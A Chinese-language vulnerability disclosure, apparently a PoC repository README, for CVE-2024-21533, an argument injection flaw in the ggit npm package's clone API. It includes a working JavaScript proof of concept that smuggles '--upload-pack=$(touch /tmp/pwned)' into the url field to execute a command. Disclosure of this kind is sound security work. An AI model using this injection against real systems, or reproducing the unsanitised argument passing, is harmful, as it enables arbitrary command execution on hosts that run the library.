CVE-2024-21533 ggit 中的参数注入漏洞

ggit 这样描述自己：

Local promise-returning git command wrappers

资源：

项目的 GitHub 源代码：https://github.com/bahmutov/ggit
项目的 npm 包：https://www.npmjs.com/package/ggit

有关此参数注入漏洞的文章：https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

利用背景

我在 ggit npm 包中报告了一个参数注入漏洞。

该漏洞体现在库的 clone() API 中，该 API 允许指定要克隆的远程 URL 以及要克隆到的磁盘文件。然而，该库既不清除用户输入，也不验证给定的 URL 方案，更没有使用双破折号 POSIX 字符（--）正确地向 git 二进制传递命令行标志以表示选项的结束。

因此，允许用户利用 Git 中的参数注入漏洞，该漏洞源于 --upload-pack 命令行选项，会导致执行任意命令。（outPath）用作克隆目标时，则该漏洞适用。

漏洞利用

安装 [email protected] 或更早版本
构建以下 POC：

const clone = require("ggit").cloneRepo;
clone({
  url: "--upload-pack=$(touch /tmp/pwned)",
  folder: "/tmp/dbd",
}).then(function () {
  console.log("cloned repo to destination folder");
});

观察到磁盘上创建了新文件 /tmp/pwned

贡献

请参阅 CONTRIBUTING 了解为本项目做出贡献的指南。

作者

Liran Tal

CVE-2024-21533-PoC-ggit

最受欢迎